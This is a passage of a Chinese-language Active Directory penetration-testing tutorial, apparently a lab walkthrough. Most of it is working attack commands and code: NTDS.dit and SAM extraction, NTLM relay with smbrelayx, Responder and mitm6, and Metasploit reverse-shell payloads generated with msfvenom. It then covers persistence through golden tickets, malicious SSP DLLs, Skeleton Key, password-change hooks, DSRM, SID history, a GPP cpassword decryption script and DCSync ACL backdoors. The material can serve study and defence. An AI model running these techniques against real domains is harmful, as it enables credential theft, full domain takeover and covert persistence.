	HOST/PC-micle-Kit.rootkit.org
CN=PC-TORNDO-KIT,CN=Computers,DC=rootkit,DC=org
	HOST/PC-TORNDO-KIT
	HOST/pc-torndo-Kit.rootkit.org
CN=sqladmin,OU=运维部,DC=rootkit,DC=org
	variant/golden

Existing SPN found!

3.定位域控

查询dns解析记录

若当前主机的dns为域内dns，可通过查询dns解析记录定位域控。

nslookup -type=all _ldap._tcp.dc._msdcs.rootkit.org

1566979004463

SPN扫描

在SPN扫描结果中可以通过CN=OWA2013,OU=Domain Controllers,DC=rootkit,DC=org来进行域控的定位。

net group

net group "domain controllers" /domain

1566979395890

端口识别

扫描内网中同时开放389和53端口的机器。

端口：389
服务：LDAP、ILS
说明：轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。

端口：53
服务：Domain Name Server（DNS）
说明：53端口为DNS(Domain Name Server，域名服务器)服务器所开放，主要用于域名解析，DNS服务在NT系统中使用的最为广泛。通过DNS服务器可以实现域名与IP地址之间的转换，只要记住域名就可以快速访问网站。

1566979627122

域内关键组

比如在拿到域控后可以通过重点关注关键部门人员的机器来得到更多的信息。

1566980640086

以上图为例，我们可以重点关注和监控运维部的用户机器，通常他们的机器上存在大量内网网络拓扑和网络构架信息或者是一些重要的密码本。

AdFind

C++实现(未开源)，用于查询域内信息

http://www.joeware.net/freetools/tools/adfind/index.htm

常用命令如下：

列出域控制器名称：

AdFind -sc dclist

查询当前域中在线的计算机：

AdFind -sc computers_active

查询当前域中在线的计算机(只显示名称和操作系统)：

AdFind -sc computers_active name operatingSystem

查询当前域中所有计算机：

AdFind -f "objectcategory=computer"

查询当前域中所有计算机(只显示名称和操作系统)：

AdFind -f "objectcategory=computer" name operatingSystem

查询域内所有用户：

AdFind -users name

查询所有GPO：

AdFind -sc gpodmp

0X06 域渗透-获取NTDS.dit

1.Ntds.dit

Ntds.dit是主要的AD数据库，包括有关域用户，组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值，使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

2.Volume Shadow Copy

Volume Shadow Copy Service 是微软从 Windows XP 开始提供的用于创建一致性的时间点副本（也就是快照）的服务框架。

  • 用于数据备份
  • 支持Windows Server 2003 及以上操作系统
  • 系统默认在特定条件下自动创建数据备份，如补丁安装后。在Win7系统大概每隔一周自动创建备份，该时间无法确定
  • 禁用VSS会影响系统正常使用，如 System Restore和 Windows Server Backup
hash数量：所有用户
免杀：不需要
优点：
    获得信息全面
    简单高效
    无需下载ntds.dit，隐蔽性高

3.通过Volume Shadow Copy获得域控服务器NTDS.dit文件

调用Volume Shadow Copy服务会产生日志文件，位于System下，Event ID为7036

执行ntdsutil snapshot "activate instance ntds" create quit quit会额外产生Event ID为98的日志文件

1567072575027

ntdsutil

域环境默认安装

支持系统：

  • Server 2003
  • Server 2008
  • Server 2012
利用过程
  1. 查询当前系统的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

1567066641949

  1. 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit

1567066696011

guid为{78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}

  1. 挂载快照
ntdsutil snapshot "mount {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}" quit quit

快照挂载为C:\$SNAP_201908291617_VOLUMEC$\

1567066783567

  1. 复制ntds.dit
    copy C:\$SNAP_201908291617_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

    1567067029190

  2. 卸载快照
    ntdsutil snapshot  "unmount {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}" quit quit

1567067157868

  1. 删除快照
    ntdsutil snapshot  "delete {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}" quit quit

1567067193739

vssadmin

域环境默认安装

支持系统：

  • Server 2008
  • Server 2012
利用过程
  1. 查询当前系统的快照
    vssadmin list shadows
  2. 创建快照
    vssadmin create shadow /for=c:

    获得Shadow Copy Volume Name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2

1567068293370

  1. 复制ntds.dit
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
  2. 删除快照
    vssadmin delete shadows /for=c: /quiet

    1567068417353

vshadow.exe

系统默认不支持,，可在Microsoft Windows Software Development Kit (SDK)中获得该工具

利用过程
  1. 查询当前系统的快照
    vshadow.exe -q
  2. 创建快照
    vshadow.exe -p -nw C:

    获得SnapshotSetID、SnapshotID以及Shadow copy device name。

  3. 复制ntds.dit
    copy Shadow copy device name\windows\NTDS\ntds.dit c:\ntds.dit
  4. 删除快照
    vshadow -dx={SnapshotSetID}

    or

    vshadow -ds={SnapshotID}
利用vshadow执行命令

参考资料：

https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/

执行命令：

vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:

执行后，后台存在进程VSSVC.exe，同时显示服务Volume Shadow Copy正在运行，需要手动关闭进程VSSVC.exe

注：

手动关闭进程VSSVC.exe会生成日志7034

利用思路：

vshadow.exe包含微软签名，能绕过某些白名单的限制。如果作为启动项，Autoruns的默认启动列表不显示

4.通过NinjaCopy获得域控服务器NTDS.dit文件

下载地址：

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

没有调用Volume Shadow Copy服务，所以不会产生日志文件7036

Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive
Invoke-NinjaCopy -Path   C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit"

1567087134171

QuarksPwDump

Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具，它可以抓取windows平台下多种类型的用户凭据，包括：本地帐户、域帐户、缓存的域帐户和Bitlocker。

修复复制出来的数据库

esentutl /p /o ntds.dit

使用QuarksPwDump直接读取信息并将结果导出至文件

QuarksPwDump.exe --dump-hash-domain --output 0day.org.txt --ntds-file c:\ntds.dit

1567088633983

1567088679203

secretsdump.py

可以用impacket 套件中的 secretsdump.py 脚本去解密，速度有点忙。也可以用mimikatz解密，但是感觉还是QuarksPwDump比较快。

# secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
# secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

1567089680113

0x07 域渗透-Relay

1.相关概念

NTLM hash 和 Net-NTLM hash

NTLM hash是指Windows系统下Security Account Manager中保存的用户密码hash

该hash的生成方法：

  1. 将明文口令转换成十六进制的格式
  2. 转换成Unicode格式，即在每个字节之后添加0x00
  3. 对Unicode字符串作MD4加密，生成32位的十六进制数字串

在渗透测试中，通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash，通过Mimikatz读取lsass.exe进程能获得已登录用户的NTLM hash

Net-NTLM hash是指网络环境下NTLM认证中的hash

NTLM认证采用质询/应答（Challenge/Response）的消息交换模式，流程如下：

  1. 客户端向服务器发送一个请求，请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash
  2. 服务器接收到请求后，生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge，获得Challenge1
  3. 客户端接收到Challenge后，使用登录用户的密码hash对Challenge加密，获得Challenge2(这个结果被称为response)，将response发送给服务器
  4. 服务器接收客户端加密后的response，比较Challenge1和response，如果相同，验证成功

在以上流程中，登录用户的密码hash即NTLM hash，response中包含Net-NTLM hash

在NTLM认证中，NTLM响应分为NTLM v1，NTLMv2，NTLM session v2三种协议，不同协议使用不同格式的Challenge和加密算法

所以也就存在不同协议的Net-NTLM hash，即Net-NTLM v1 hash，Net-NTLM v2 hash

从攻击角度来看

  • 可以利用NTLM哈希值进行“哈希传递”攻击
  • 无法利用Net-NTLM哈希值来进行“哈希传递”攻击

NTLM和SMB的关系

SMB的认证可以基于NTLM协议或者kerberos协议，前者使用了hash，后者使用了ticket，是构成SMB的PtH和PtT攻击的基础。 NTLM 并没有定义它所依赖的传输层协议。NTLM 消息的传输完全依赖于使用 NTLM 的上层协议来决定，可以是SMB，也可以是TCP，亦或HTTP。

跨协议的 NTLM-Relay

前面说过，NTLM 的上层协议基本可以是任何协议（如果上层是基于UDP 的协议的话，可能会不一样），所以这引出了跨协议的 NTLM-Relay 技巧。无论 NTLM 的上层协议是什么，其携带的 NTLM 的三条消息都是

由 NTLM SSP 生成的，所以上层协议在 relay 的过程中，是可以被替换掉的。

比如从 http relay 至 smb，从 smb relay 至 ldap/mssql 等等。我们只需要将一个协议中的 NTLM 消息取出来，然后原样不动的地放入另一个协议，就完成了上层协议转换的过程。

SMB RELAY

mitm Attacker通过不停的转换机器角色来同时欺骗Smb server和Client两端，可以拿着Client的凭据去访问Smb Server中的资源,如果这个凭据的用户权限在smb server中很大,大到可以随意操作smb server,此时凭据再一旦认证成功,随后再立即执行一段shellcode,那Smb server基本也就沦陷了。

img

2.利用条件

SMB版本信息

不同Windows版本所对应的Smb 版本，smb版本越高，内置的安全机制就越完善,利用难度也就越大，另外，它默认工作在tcp/udp的139和445端口上,属上层协议[偏应用层]。

  • Smb v1 主要用于xp/2003以下的系统中
  • Smb v2.x 主要用于win vista/7/2008/2008r2
  • Smb v3.x 主要用于win 8 / 8.1 / 2012 / 2012r2 /2016
利用条件
  • 目标机器不能开启smb签名，否则利用无效,一般情况下,windows server会默认开启,而windows单机系统[win 7/8/8.1/10]默认都不会开。
  • 对一些打了ms08-068[KB957097]补丁的老系统[比如windows xp/2003以下的系统]利用也是无效的。
检查是否开启smb签名
nmap -Pn -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.0.106,192.168.0.108

1567261949153

3.利用方式

Inveigh

powershell编写，可供参考的地址：

https://github.com/Kevin-Robertson/Inveigh

Import-Module .\Inveigh.psd1
Invoke-Inveigh -consoleoutput Y

1567264625758

再使用另外一个主机去连接该服务器。

1567264636716

原主机上就可以捕获到net-ntlm v2 hash。

1567264727529

拿到net-ntlm v2 的hash以后,可以用hashcat进行爆破

Hashcat参数如下：

hashcat -m 5600 net-ntlm hash  /tmp/password.list -o found.txt --force

若已获取权限的主机上存在web服务，我们可以在网站里插一个带有unc路径的图片，它请求资源走的是smb[file://]。

<img src="\\192.168.3.68\test.jpg"

当有主机访问该主页是，我们也能在Inveigh捕获到该主机的net-ntlm v2 hash。

smb_relay

在kali 192.168.22.128利用windows/smb/smb_relay模块进行攻击。

msf5 > use windows/smb/smb_relay
msf5 exploit(windows/smb/smb_relay) > set smbhost 192.168.22.162
smbhost => 192.168.22.162
msf5 exploit(windows/smb/smb_relay) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/smb_relay) > set lhost 192.168.22.128
lhost => 192.168.22.128
msf5 exploit(windows/smb/smb_relay) > set lport 2333
lport => 2333
msf5 exploit(windows/smb/smb_relay) > show options 

Module options (exploit/windows/smb/smb_relay):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SHARE    ADMIN$           yes       The share to connect to
   SMBHOST  192.168.22.162   no        The target SMB server (leave empty for originating system)
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  445              yes       The local port to listen on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.22.128   yes       The listen address (an interface may be specified)
   LPORT     2333             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

在192.168.22.130上执行

net use \\192.168.22.128\c$ /user:"administrator" "1qaz@wsx"

在kali上就可以看到回显了

1567307751364

回显里会删除exe文件，所以建议在配置时做好进程迁移

set AutoRunScript post/windows/manage/migrate
smbrelayx.py

在工具主机kali 192.168.22.128上执行

python smbrelayx.py -h 192.168.22.162

在内网主机192.168.22.130上执行

net use \\192.168.22.128\c$ /user:"administrator" "1qaz@wsx"

1567273119541

此时在主机kali 192.168.22.128上就能捕获到如下内容。

1567273079956

当目标内网有机器192.168.22.130访问到我们的恶意smb服务器192.168.22.128后,便会抓取对应机器的net-ntlm v2 hash,之后再通过smbrelayx.py脚本拿着这段抓到的hash去尝试重放192.168.22.162这台目标机器。一旦重放成功,便会把162这台机器的本地用户及密码hash全部解密导出来。

smbrelayx.py可以执行命令和上传木马文件。

python smbrelayx.py -h 192.168.22.162 -c whoami

1567273321968

结合msf上传exe木马。生成一个exe木马。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.22.128 LPORT=4444 -e x86/shikata_ga_nai -f exe -o test.exe

启用msfconsole中exploit/multi/handler

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.22.128
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 192.168.138.136:4444

执行

python smbrelayx.py -h 192.168.22.162 -e test.exe

1567273781547

Responder

自从MS08-068漏洞修复之后无法再将Net-NTLM哈希值传回到发起请求的机器上，除非进行跨协议转发，但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是，在这之前需要在进行转发操作的机器上禁用SMB签名。

在开启了 SMB Signing 的情况下，在 SMB 协议利用 NTLM SSP 进行了身份验证后，后续的所有数据包，都会利用 NTLM SSP 生成的这个 session key 进行签名。SMB 服务端收到后续的数据包后，也会检查数据包的签名，如果签名不对，则拒收。 NTLM SSP 在生成 session key 的时候，会需要用到账号密码的原始 LM HASH 或 NT HASH。而 relay 型的攻击，都是站在一个中间人的位置，我们是不可能知道原始的 LM HASH 或 NT HASH 的（如果知道了也就不需要 Relay 这种攻击手法了）。所以，我们是无法计算出来这个 session key 的，自然也就无法对数据包进行签名。

Responder通过设置几个模拟的恶意守护进程（如SQL服务器，FTP，HTTP和SMB服务器等）来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。

python Responder.py -I eth0 -v

1567274431769

对于SMB协议，客户端在连接服务端时，默认先使用本机的用户名和密码hash尝试登录。所以在192.168.22.130上执行dir \\192.168.22.128\c$

1567274565897

在192.168.22.128上就可以得到NTLMv2 Hash。

1567274630365

responder只有一个回显hash功能，可以结合ntlmrelayx.py和Empire框架进行进一步利用。再借助DeathStar，可以很轻易获取windows的域管理权限。

3.NTLM-Relay

NTLM Relaying与Kerberos委派组合

实现方法

在目标计算机上创建一个新的计算机账号B，并为本地计算机账号A设置基于资源的约束委派给新建账号B，使得B可以模拟用户访问A的资源，便能通过S4U攻击（首先使用S4U2Self获取任意用户到新建计算机账号B的服务票据，再使用S4U2Proxy获取该用户到目标计算机A的服务票据），使用该计算机账号为域内任意用户请求访问该计算机任意服务的TGS服务票据，从而获得该计算机的SYSTEM权限。

img

利用过程

使用mitm6选择目标计算机并回复DHCPv6请求，为其分配地址，回复WPAD配置文件地址

mitm6 -hw ws02 -d lab.local --ignore-nofqnd

img

设置目标LDAP服务器地址并创建WPAD配置文件，使用“–delegate-access”为目标创建计算机账号并配置基于资源的约束委派：

启动ntlmrelayx，指定域控制器，委派攻击，禁用SMB服务器并设置将生成并提供给目标的恶意WPAD文件的名称。

ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad

img

当目标计算机重启或重新进行网络配置（如重新插入网线）时， 将会向DHCPv6发送请求获取IPv6配置，我们已经使用mitm6接管DNS，此时目标计算机便会访问kali获取WPAD配置文件，并将kali设置为为代理服务器 。

img

然后当目标计算机通过kali代理服务器访问网络时，kali将会向目标计算机发送代理的认证请求，并中继NTLM认证到LDAP服务器上，完成相关操作。

img

上图中已经完成了计算机账号的创建，并为其设置了基于资源的约束委派。接下来，便可通过impacket中的getST脚本，使用新创建的计算机账号为域管理员（或具有本地管理员权限的域用户）请求访问到该计算机的CIFS服务票据：

img

导入

export KRB5CCNAME=lkys.ccache

img

然后就可以通过psexec.py远程执行命令了。

psexec.py -k ws02.lab.local -debug -no-pass

img

尝试复现上述过程，捣鼓了一天失败了。报的错是：

[-] Connection against target ldaps://OWA2010SP3.0day.org FAILED: invalid server address
[-] Exception in HTTP request handler: invalid server address
[-] Exception in HTTP request handler: [Errno 104] Connecti

1567412692189

LDAPS安装过程：https://gist.github.com/magnetikonline/0ccdabfec58eb1929c997d22e7341e45

上述原文地址：https://chryzsh.github.io/relaying-delegation/

如有知道为什么的，请联系我谢谢~


0x08 域渗透-域维权

1.黄金票据

简介

Golden Ticket（下面称为金票）是通过伪造的TGT（TicketGranting Ticket），因为只要有了高权限的TGT，那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。

制作金票的条件：

1、域名称

2、域的SID值

3、域的KRBTGT账户密码HASH

4、伪造用户名，可以是任意的

利用过程

金票的生成需要用到krbtgt的密码HASH值，可以通过mimikatz中的

lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt

命令获取krbtgt的值。

1566542295163

得到KRBTGT HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi，即为伪造成功的TGT。

参数说明：

/admin：伪造的用户名

/domain：域名称

/sid：SID值，注意是去掉最后一个-后面的值

/krbtgt：krbtgt的HASH值

/ticket：生成的票据名称

kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi

1566543225966

通过mimikatz中的kerberos::ptt功能（Pass The Ticket）将golden.kiribi导入内存中。

kerberos::purge
kerberos::ppt golden.kiribi
kerberos::list

1566542805439

此时就可以通过dir成功访问域控的共享文件夹。

dir \\OWA2010SP3.0day.org\c$

1566543260644

2.SSP密码记录

简介

**SSP：**Security Support Provider，直译为安全支持提供者，又名Security Package.

简单的理解为SSP就是一个DLL，用来实现身份认证。

**SSPI：**Security Support Provider Interface，直译为安全支持提供程序接口，是Windows系统在执行认证操作所使用的API。

简单的理解为SSPI是SSP的API接口

**LSA：**Local Security Authority，用于身份认证，常见进程为lsass.exe

特别的地方在于LSA是可扩展的，在系统启动的时候SSP会被加载到进程lsass.exe中.

这相当于我们可以自定义一个dll，在系统启动的时候被加载到进程lsass.exe。

1568039967810

如图，这是正常的SSPI结构图，Client APP是我们自定义的dll，通过Secur32.dll可以调用 “credential capture API“来获取LSA的信息

1568041132774

上图展示了攻击思路，既然可以自定义dll,那么我们就可以定制dll的功能，通过Named Pipe和Shared Memory直接获取lsass.exe中的明文密码，并且能够在其更改密码时立即获得新密码。

mimilib SSP

mimikatz早已支持这个功能，而这个文件就是我们使用的时候常常忽略的mimilib.dll

1568041283216

利用过程

方法一
  1. 添加SSP

    将mimilib.dll复制到域控c:\windows\system32下

  2. 设置SSP

    修改域控注册表位置：

    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\

    1568042525270

    3.重启系统

    域控重启后在c:\windows\system32可看到新生成的文件kiwissp.log

    1568084137907

    方法二：使用API AddSecurityPackage

    (1)复制文件

    同方法1

    (2)修改注册表

    同方法1

    (3)调用AddSecurityPackage

    测试代码如下：

   #define SECURITY_WIN32
   
   #include <stdio.h>
   #include <Windows.h>
   #include <Security.h>
   #pragma comment(lib,"Secur32.lib")
   
   
   int main(int argc, char **argv) {
   	SECURITY_PACKAGE_OPTIONS option;
   	option.Size = sizeof(option);
   	option.Flags = 0;
   	option.Type = SECPKG_OPTIONS_TYPE_LSA;
   	option.SignatureSize = 0;
   	option.Signature = NULL;
   	SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA("mimilib", &option);
   	printf("AddSecurityPackage return with 0x%X\n", SEC_ENTRYnRet);
}

添加成功，如果此时输入了新的凭据(例如runas，或者用户锁屏后重新登录)，将会生成文件kiwissp.log

方法2的自动化实现：

https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/persistence/Install-SSP.ps1

方法3：使用RPC控制lsass加载SSP

XPN开源的代码：

https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

测试如下图

111

添加成功

优点：

  • 不需要写注册表
  • 不调用API AddSecurityPackage
  • 不需要对lsass进程的内存进行写操作
  • lasss进程中不存在加载的dll

Memory Updating of SSPs

mimikatz同时还支持通过内存更新ssp，这样就不需要重启再获取账户信息

需要使用mimikatz.exe，命令如下：

privilege::debug
misc::memssp

通过修改lsass进程的内存，实现从lsass进程中提取凭据

1568097386864

命令执行后，如果此时输入了新的凭据(例如runas，或者用户锁屏后重新登录)，将会在c:\windows\system32下生成文件mimilsa.log

1568097442668

3.Skeleton Key

Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。

简介

Skeleton Key被安装在64位的域控服务器上 支持Windows Server2003—Windows Server2012 R2 能够让所有域用户使用同一个万能密码进行登录 现有的所有域用户使用原密码仍能继续登录 重启后失效 支持 Skeleton Key

利用过程

在域控安装Skeleton Key

mimikatz命令：

privilege::debug
misc::skeleton

1568098265598

域内主机使用Skeleton Key登录域控

mimikatz的默认Skeleton Key设置为mimikatz

net use \\OWA2010SP3.0day.org mimikatz /user:administrator@0day.org
dir \\OWA2010SP3.0day.org\c$

Skeleton Key只是给所有账户添加了一个万能密码，无法修改账户的权限

1568099168617

绕过LSA Protection

配置LSA Protection

注册表位置： HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

新建-DWORD值，名称为RunAsPPL,数值为00000001

重启系统

使用mimidrv.sys绕过

mimikatz命令：

privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton

绕过cmd、regedit、taskmgr

privilege::debug
misc::cmd
misc::regedit
misc::taskmgr

Hook PasswordChangeNotify

简介

Hook PasswordChangeNotify这个概念最早是在2013年9月15日由clymb3r提出，通过Hook PasswordChangeNotify拦截修改的帐户密码。

需要了解的相关背景知识如下：

  1. 在修改域控密码时会进行如下同步操作：

    a. 当修改域控密码时，LSA首先调用PasswordFileter来判断新密码是否符合密码复杂度要求

    b. 如果符合，LSA接着调用PasswordChangeNotify在系统上同步更新密码

  2. 函数PasswordChangeNotify存在于rassfm.dll
  3. rassfm.dll可理解为Remote Access Subauthentication dll，只存在于在Server系统下，xp、win7、win8等均不存在

Hook PasswordChangeNotify有如下优点：

  1. 不需要重启
  2. 不需要修改注册表
  3. 甚至不需要在系统放置dll

利用过程

实现Hook PasswordChangeNotify共包含两部分：Hook dll和dll注入。

https://github.com/3gstudent/Hook-PasswordChangeNotify

编译工程，生成HookPasswordChange.dll

MFC设置为在静态库中使用MFC

1568103854190

上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll到域控主机

管理员权限执行：

PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1

1568104973054

手动修改域控密码后 在C:\Windows\Temp下可以找到passwords.txt，其中记录了新修改的密码。

1568105156124

自定义dll代码实现更多高级功能，如自动上传新密码。

以下链接中的代码可作为参考，其中实现了将获取的新密码上传至Http服务器

http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html

4.DSRM同步指定域用户

DSRM密码同步

Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步，Windows Server 2003不支持DSRM密码同步。

利用如下命令：

C:\Users\Administrator>ntdsutil
ntdsutil: set DSRM password
Reset DSRM Administrator Password: SYNC FROM DOMAIN ACCOUNT test
Password has been synchronized successfully.

1568118352518

同步之后使用mimikatz查看test用户和SAM中Administrator的NTLM值。如下图所示，可以看到两个账户的NTLM值相同，说明确实同步成功了。

privilege::debug
lsadump::lsa /name:test /inject

1568118643769

privilege::debug
token::elevate
lsadump::sam

1568118740466

修改注册表允许DSRM账户远程访问

修改注册表 HKLM\System\CurrentControlSet\Control\Lsa 路径下的 DSRMAdminLogonBehavior 的值为2。

PS：系统默认不存在DSRMAdminLogonBehavior，手动添加。

DSRM账户是域控的本地管理员账户，并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。另外，在下一次进行DSRM密码同步之前，NTLM的值一直有效。所以为了保证权限的持久化，尤其在跨国域或上百上千个域的大型内网中，最好在事件查看器的安全事件中筛选事件ID为4794的事件日志，来判断域管是否经常进行DSRM密码同步操作。

5.SID history

SID历史记录是支持迁移方案的属性。每个用户帐户都有一个关联的安全标识符（SID），用于跟踪安全主体和连接到资源时的帐户及访问权限。SID历史记录允许另一个帐户的访问被有效的克隆到另一个帐户。这是非常有用的，其目的是确保用户在从一个域移动（迁移）到另一个域时能保留原有的访问权限。由于在创建新帐户时用户的SID会发生更改，旧的SID需要映射到新的帐户。当域A中的用户迁移到域B时，将在DomainB中创建新的用户帐户，并将DomainA用户的SID添加到DomainB的用户帐户的SID历史记录属性中。这样就可以确保DomainB用户仍可以访问DomainA中的资源。

Mimikatz支持SID历史注入到任何用户帐户（需要域管理员或等效的权限）。在这种情况下，攻击者创建用户帐户“test”，并将该域的默认管理员帐户“Administrator”（RID 500）添加到帐户的SID历史记录属性中。

privilege::debug
sid::add /new:[DomainAdmin's SID or NAME] /sam:[CommonUserNAME]

当test登录时，将对与该帐户相关联的SID进行评估，并根据这些SID来确定访问权限。由于test帐户与Administrator帐户（RID 500）相关联，因此，test帐户具有Administrator帐户的所有访问权限，包括域管理员权限。

6.GPO[组策略]后门

利用SYSVOL还原组策略中保存的密码

使用Group Policy Preferences配置组策略批量修改用户本地管理员密码。

开始-管理工具-组策略管理

选择域，创建GP0

1568190482125

设置名称为test

test-设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组

1568190567581

更新，administrator(内置),设置密码

1568190624962

委派，设置权限

在详细一栏，可看到该策略对应的ID为{05F24259-49D8-481A-8408-567DC3155838}

1568190671139

组策略配置完成，域内主机重新登录，即可应用此策略

在对应的文件夹下能找到配置文件Groups.xml，具体路径如下：

\\0day.org\SYSVOL\0day.org\Policies\{05F24259-49D8-481A-8408-567DC3155838}\User\Preferences\Groups

Groups.xml内容如下：

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (内置)" image="2" changed="2019-09-11 08:29:51" uid="{32DED100-2B0D-41CB-8341-F5FBCF77FE13}"><Properties action="U" newName="" fullName="" description="" cpassword="Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (内置)"/></User>
</Groups>

cpassword项，保存的是加密后的内容"Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw"

加密方式为AES 256，虽然目前AES 256很难被攻破，但是微软选择公开了该AES 256加密的私钥，地址如下：

https://msdn.microsoft.com/en-us/library/cc422924.aspx

借助该私钥，我们就能还原出明文

采用Chris Campbell @obscuresec开源的powershell脚本，地址如下：

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

该脚本可在域内主机上执行，能够自动查询共享文件夹\SYSVOL中的文件。

也可以利用如下代码进行解密

#!/usr/bin/python
import sys
from Crypto.Cipher import AES
from base64 import b64decode

if(len(sys.argv) != 2):
  print "decrypt.py <cpassword>"
  sys.exit(0)

key = """4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b""".decode('hex')
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
out = AES.new(key, AES.MODE_CBC, "\x00" * 16)
out = out.decrypt(password)
print out[:-ord(out[-1])].decode('utf16')

1568191571479

通过Group Policy Management Console (GPMC) 实现计划任务的远程执行

同上创建GPO，在计划任务中添加。

1568192348420

第四个任务选项会在每次组策略刷新时执行。

四种计划任务的区别可参考官方文档：

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770904(v%3dws.11)

1568192727717

对于域内的主机，可以等待90分钟使组策略自动更新，也可以在客户端执行如下命令强制刷新组策略：

gpupdate /force

7.DCSync

利用DCSync导出域内所有用户hash的方法

利用条件：

获得以下任一用户的权限：

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

导出域内所有用户的hash：

mimikatz.exe privilege::debug "lsadump::dcsync /domain:rootkit.org /all /csv" exit

1568197137085

8.利用DCSync在域内维持权限的方法

利用条件：

获得以下任一用户的权限：

  • Domain Admins组内的用户
  • Enterprise Admins组内的用户

利用原理：

向域内的一个普通用户添加如下三条ACE(Access Control Entries)：

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限。

Windows系统中的ACL(Access Control List)，用来表示用户（组）权限的列表。

利用方法：

利用PowerView.ps1，添加ACE的命令如下：

Add-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity webadmin -Rights DCSync -Verbose

1568202728574

删除ACE的命令：

Remove-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity webadmin -Rights DCSync -Verbose

